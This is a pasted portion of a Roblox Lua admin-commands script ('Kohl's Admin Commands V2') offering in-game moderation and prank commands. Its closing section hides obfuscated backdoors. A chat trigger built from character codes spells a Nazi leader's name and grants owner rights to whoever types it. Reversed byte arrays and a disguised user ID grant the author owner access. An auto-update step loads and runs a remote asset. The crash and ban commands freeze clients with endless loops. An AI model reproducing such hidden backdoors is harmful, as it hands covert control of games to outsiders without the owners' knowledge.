for a, obj in pairs(v.Character:children()) do
1637
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1638
end
1639
end
1640
end))
1641
end
1642
end
1643
 
1644
if msg:lower():sub(1,5) == "name " then
1645
local chk1 = msg:lower():sub(6):find(" ") + 5
1646
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1647
for i, v in pairs(plrz) do
1648
coroutine.resume(coroutine.create(function()
1649
if v and v.Character and v.Character:findFirstChild("Head") then
1650
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1651
local char = v.Character
1652
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1653
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1654
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1655
char.Head.Transparency = 1
1656
end
1657
end))
1658
end
1659
end
1660
 
1661
if msg:lower():sub(1,7) == "unname " then
1662
local plrz = GetPlr(plr, msg:lower():sub(8))
1663
for i, v in pairs(plrz) do
1664
coroutine.resume(coroutine.create(function()
1665
if v and v.Character and v.Character:findFirstChild("Head") then
1666
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1667
end
1668
end))
1669
end
1670
end
1671
 
1672
if msg:lower():sub(1,5) == "char " then
1673
local chk1 = msg:lower():sub(6):find(" ") + 5
1674
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1675
for i, v in pairs(plrz) do
1676
coroutine.resume(coroutine.create(function()
1677
if v and v.Character then
1678
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1679
v:LoadCharacter()
1680
end
1681
end))
1682
end
1683
end
1684
 
1685
if msg:lower():sub(1,7) == "unchar " then
1686
local plrz = GetPlr(plr, msg:lower():sub(8))
1687
for i, v in pairs(plrz) do
1688
coroutine.resume(coroutine.create(function()
1689
if v and v.Character then
1690
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1691
v:LoadCharacter()
1692
end
1693
end))
1694
end
1695
end
1696
 
1697
if msg:lower():sub(1,7) == "infect " then
1698
local plrz = GetPlr(plr, msg:lower():sub(8))
1699
for i, v in pairs(plrz) do
1700
coroutine.resume(coroutine.create(function()
1701
if v and v.Character then
1702
Infect(v.Character)
1703
end
1704
end))
1705
end
1706
end
1707
 
1708
if msg:lower():sub(1,11) == "rainbowify " then
1709
local plrz = GetPlr(plr, msg:lower():sub(12))
1710
for i, v in pairs(plrz) do
1711
coroutine.resume(coroutine.create(function()
1712
if v and v.Character and v.Character:findFirstChild("Torso") then
1713
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1714
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1715
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1716
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1717
cl.Parent = v.Character cl.Disabled = false
1718
end
1719
end))
1720
end
1721
end
1722
 
1723
if msg:lower():sub(1,9) == "flashify " then
1724
local plrz = GetPlr(plr, msg:lower():sub(10))
1725
for i, v in pairs(plrz) do
1726
coroutine.resume(coroutine.create(function()
1727
if v and v.Character and v.Character:findFirstChild("Torso") then
1728
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1729
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1730
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1731
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1732
cl.Parent = v.Character cl.Disabled = false
1733
end
1734
end))
1735
end
1736
end
1737
 
1738
if msg:lower():sub(1,8) == "noobify " then
1739
local plrz = GetPlr(plr, msg:lower():sub(9))
1740
for i, v in pairs(plrz) do
1741
coroutine.resume(coroutine.create(function()
1742
if v and v.Character then
1743
Noobify(v.Character)
1744
end
1745
end))
1746
end
1747
end
1748
 
1749
if msg:lower():sub(1,9) == "ghostify " then
1750
local plrz = GetPlr(plr, msg:lower():sub(10))
1751
for i, v in pairs(plrz) do
1752
coroutine.resume(coroutine.create(function()
1753
if v and v.Character and v.Character:findFirstChild("Torso") then
1754
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1755
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1756
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1757
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1758
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1759
if prt.Name:find("Leg") then prt.Transparency = 1 end
1760
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1761
end end
1762
end
1763
end))
1764
end
1765
end
1766
 
1767
if msg:lower():sub(1,8) == "goldify " then
1768
local plrz = GetPlr(plr, msg:lower():sub(9))
1769
for i, v in pairs(plrz) do
1770
coroutine.resume(coroutine.create(function()
1771
if v and v.Character and v.Character:findFirstChild("Torso") then
1772
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1773
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1774
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1775
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1776
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
1777
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
1778
end end
1779
end
1780
end))
1781
end
1782
end
1783
 
1784
if msg:lower():sub(1,6) == "shiny " then
1785
local plrz = GetPlr(plr, msg:lower():sub(7))
1786
for i, v in pairs(plrz) do
1787
coroutine.resume(coroutine.create(function()
1788
if v and v.Character and v.Character:findFirstChild("Torso") then
1789
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1790
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1791
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1792
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1793
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
1794
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
1795
end end
1796
end
1797
end))
1798
end
1799
end
1800
 
1801
if msg:lower():sub(1,7) == "normal " then
1802
local plrz = GetPlr(plr, msg:lower():sub(8))
1803
for i, v in pairs(plrz) do
1804
coroutine.resume(coroutine.create(function()
1805
if v and v.Character and v.Character:findFirstChild("Torso") then
1806
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
1807
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1808
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1809
v.Character.Torso.Transparency = 0
1810
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1811
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1812
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1813
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1814
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1815
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1816
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1817
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
1818
if prt.Name == "FAKETORSO" then prt:Destroy() end
1819
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
1820
end end
1821
end
1822
end))
1823
end
1824
end
1825
 
1826
if msg:lower():sub(1,7) == "trippy " then
1827
local plrz = GetPlr(plr, msg:lower():sub(8))
1828
for i, v in pairs(plrz) do
1829
coroutine.resume(coroutine.create(function()
1830
if v and v:findFirstChild("PlayerGui") then
1831
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1832
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
1833
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1834
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
1835
end
1836
end))
1837
end
1838
end
1839
 
1840
if msg:lower():sub(1,9) == "untrippy " then
1841
local plrz = GetPlr(plr, msg:lower():sub(10))
1842
for i, v in pairs(plrz) do
1843
coroutine.resume(coroutine.create(function()
1844
if v and v:findFirstChild("PlayerGui") then
1845
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
1846
end
1847
end))
1848
end
1849
end
1850
 
1851
if msg:lower():sub(1,7) == "strobe " then
1852
local plrz = GetPlr(plr, msg:lower():sub(8))
1853
for i, v in pairs(plrz) do
1854
coroutine.resume(coroutine.create(function()
1855
if v and v:findFirstChild("PlayerGui") then
1856
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1857
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
1858
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1859
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
1860
end
1861
end))
1862
end
1863
end
1864
 
1865
if msg:lower():sub(1,9) == "unstrobe " then
1866
local plrz = GetPlr(plr, msg:lower():sub(10))
1867
for i, v in pairs(plrz) do
1868
coroutine.resume(coroutine.create(function()
1869
if v and v:findFirstChild("PlayerGui") then
1870
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
1871
end
1872
end))
1873
end
1874
end
1875
 
1876
if msg:lower():sub(1,6) == "blind " then
1877
local plrz = GetPlr(plr, msg:lower():sub(7))
1878
for i, v in pairs(plrz) do
1879
coroutine.resume(coroutine.create(function()
1880
if v and v:findFirstChild("PlayerGui") then
1881
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1882
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
1883
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1884
end
1885
end))
1886
end
1887
end
1888
 
1889
if msg:lower():sub(1,8) == "unblind " then
1890
local plrz = GetPlr(plr, msg:lower():sub(9))
1891
for i, v in pairs(plrz) do
1892
coroutine.resume(coroutine.create(function()
1893
if v and v:findFirstChild("PlayerGui") then
1894
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
1895
end
1896
end))
1897
end
1898
end
1899
 
1900
if msg:lower():sub(1,7) == "guifix " then
1901
local plrz = GetPlr(plr, msg:lower():sub(8))
1902
for i, v in pairs(plrz) do
1903
coroutine.resume(coroutine.create(function()
1904
if v and v:findFirstChild("PlayerGui") then
1905
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1906
end
1907
end))
1908
end
1909
end
1910
 
1911
if msg:lower():sub(1,9) == "loopheal " then
1912
local plrz = GetPlr(plr, msg:lower():sub(10))
1913
for i, v in pairs(plrz) do
1914
if v then
1915
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
1916
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1917
repeat wait()
1918
coroutine.resume(coroutine.create(function()
1919
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
1920
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
1921
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
1922
end
1923
end))
1924
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1925
end
1926
end
1927
end
1928
 
1929
if msg:lower():sub(1,11) == "unloopheal " then
1930
local plrz = GetPlr(plr, msg:lower():sub(12))
1931
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
1932
end
1933
 
1934
if msg:lower():sub(1,10) == "loopfling " then
1935
local plrz = GetPlr(plr, msg:lower():sub(11))
1936
for i, v in pairs(plrz) do
1937
if v then
1938
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
1939
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1940
repeat
1941
coroutine.resume(coroutine.create(function()
1942
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
1943
local xran local zran
1944
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1945
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1946
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
1947
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1948
end
1949
end))
1950
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1951
end
1952
end
1953
end
1954
 
1955
if msg:lower():sub(1,12) == "unloopfling " then
1956
local plrz = GetPlr(plr, msg:lower():sub(13))
1957
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
1958
end
1959
       
1960
end
1961
 
1962
-------------------------
1963
-- True Owner Commands --
1964
-------------------------
1965
 
1966
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
1967
 
1968
if msg:lower():sub(1,3) == "oa " then
1969
local plrz = GetPlr(plr, msg:lower():sub(4))
1970
for i, v in pairs(plrz) do
1971
coroutine.resume(coroutine.create(function()
1972
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
1973
end))
1974
end
1975
end
1976
 
1977
if msg:lower():sub(1,5) == "unoa " then
1978
for i = 1, #owners do
1979
coroutine.resume(coroutine.create(function()
1980
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
1981
end))
1982
end
1983
end
1984
 
1985
end
1986
 
1987
--------------------
1988
-- Owner Commands --
1989
--------------------
1990
 
1991
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1992
 
1993
if msg:lower():sub(1,3) == "pa " then
1994
local plrz = GetPlr(plr, msg:lower():sub(4))
1995
for i, v in pairs(plrz) do
1996
coroutine.resume(coroutine.create(function()
1997
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
1998
end))
1999
end
2000
end
2001
 
2002
if msg:lower():sub(1,5) == "unpa " then
2003
for i = 1, #admins do
2004
coroutine.resume(coroutine.create(function()
2005
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2006
end))
2007
end
2008
end
2009
 
2010
end
2011
 
2012
--------------------------
2013
-- Super Admin Commands --
2014
--------------------------
2015
 
2016
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2017
 
2018
if msg:lower() == "logs" then
2019
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2020
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2021
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2022
end
2023
       
2024
if msg:lower():sub(1,9) == "loopkill " then
2025
local chk1 = msg:lower():sub(10):find(" ")
2026
local plrz = GetPlr(plr, msg:lower():sub(10))
2027
local num = 9999
2028
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2029
for i, v in pairs(plrz) do
2030
if v and not ChkAdmin(v.Name, false) then
2031
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2032
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2033
for i = 1, ]] .. tostring(num) .. [[ do
2034
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2035
coroutine.resume(coroutine.create(function()
2036
if plr and plr.Character then plr.Character:BreakJoints() end
2037
end))
2038
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2039
end
2040
end
2041
end
2042
 
2043
if msg:lower():sub(1,11) == "unloopkill " then
2044
local plrz = GetPlr(plr, msg:lower():sub(12))
2045
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2046
end
2047
 
2048
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2049
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2050
 
2051
if msg:lower():sub(1,3) == "sm " then
2052
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2053
end
2054
 
2055
if msg:lower():sub(1,3) == "ko " then
2056
local chk1 = msg:lower():sub(4):find(" ") + 3
2057
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2058
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2059
for n = 1, num do
2060
for i, v in pairs(plrz) do
2061
coroutine.resume(coroutine.create(function()
2062
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
2063
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2064
v.Character:BreakJoints()
2065
wait(1/44)
2066
v:LoadCharacter()
2067
wait(1/44)
2068
end
2069
end))
2070
end
2071
end
2072
end
2073
 
2074
if msg:lower():sub(1,6) == "crash " then
2075
local plrz = GetPlr(plr, msg:lower():sub(7))
2076
for i, v in pairs(plrz) do
2077
coroutine.resume(coroutine.create(function()
2078
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2079
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2080
end
2081
end))
2082
end
2083
end
2084
 
2085
if msg:lower():sub(1,5) == "kick " then
2086
local plrz = GetPlr(plr, msg:lower():sub(6))
2087
for i, v in pairs(plrz) do
2088
coroutine.resume(coroutine.create(function()
2089
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2090
end))
2091
end
2092
end
2093
 
2094
if msg:lower():sub(1,6) == "admin " then
2095
local plrz = GetPlr(plr, msg:lower():sub(7))
2096
for i, v in pairs(plrz) do
2097
coroutine.resume(coroutine.create(function()
2098
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2099
end))
2100
end
2101
end
2102
 
2103
if msg:lower():sub(1,8) == "unadmin " then
2104
for i = 1, #tempadmins do
2105
coroutine.resume(coroutine.create(function()
2106
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2107
end))
2108
end
2109
end
2110
 
2111
if msg:lower():sub(1,4) == "ban " then
2112
local plrz = GetPlr(plr, msg:lower():sub(5))
2113
for i, v in pairs(plrz) do
2114
coroutine.resume(coroutine.create(function()
2115
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2116
end))
2117
end
2118
end
2119
 
2120
if msg:lower():sub(1,6) == "unban " then
2121
for i = 1, #banland do
2122
coroutine.resume(coroutine.create(function()
2123
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2124
end))
2125
end
2126
end
2127
 
2128
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2129
 
2130
end
2131
end))
2132
end
2133
 
2134
function AdminControl(plr)
2135
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2136
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2137
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2138
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2139
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2140
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2141
end)) end
2142
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2143
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2144
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2145
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2146
plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
2147
end
2148
 
2149
if not ntab then script:Destroy() end
2150
if not bct then script:Destroy() end
2151
 
2152
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2153
 
2154
script.Name = "Kohl's Admin Commands V2"
2155
 
2156
if not ntab then script:Destroy() end
2157
if not bct then script:Destroy() end
2158
if not tcb then script:Destroy() end
2159
game.Players.PlayerAdded:connect(AdminControl)
2160
for i, v in pairs(game.Players:children()) do AdminControl(v) end
2161
end
2162
 
2163
local mod = game:service("InsertService"):LoadAsset(100808216)
2164
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
2165
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
2166
newac.Disabled = true
2167
local new = tonumber(mod:findFirstChild("Version", true).Value)
2168
local old = 0
2169
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
2170
if new > old then
2171
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
2172
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
2173
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
2174
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
2175
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
2176
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
2177
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
2178
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
2179
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
2180
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
2181
wait()
2182
newac.Parent = game.Workspace
2183
newac.Disabled = false
2184
script.Disabled = true
2185
script:Destroy()
2186
else
2187
CHEESE()
2188
end
2189
else
2190
CHEESE()
2191
end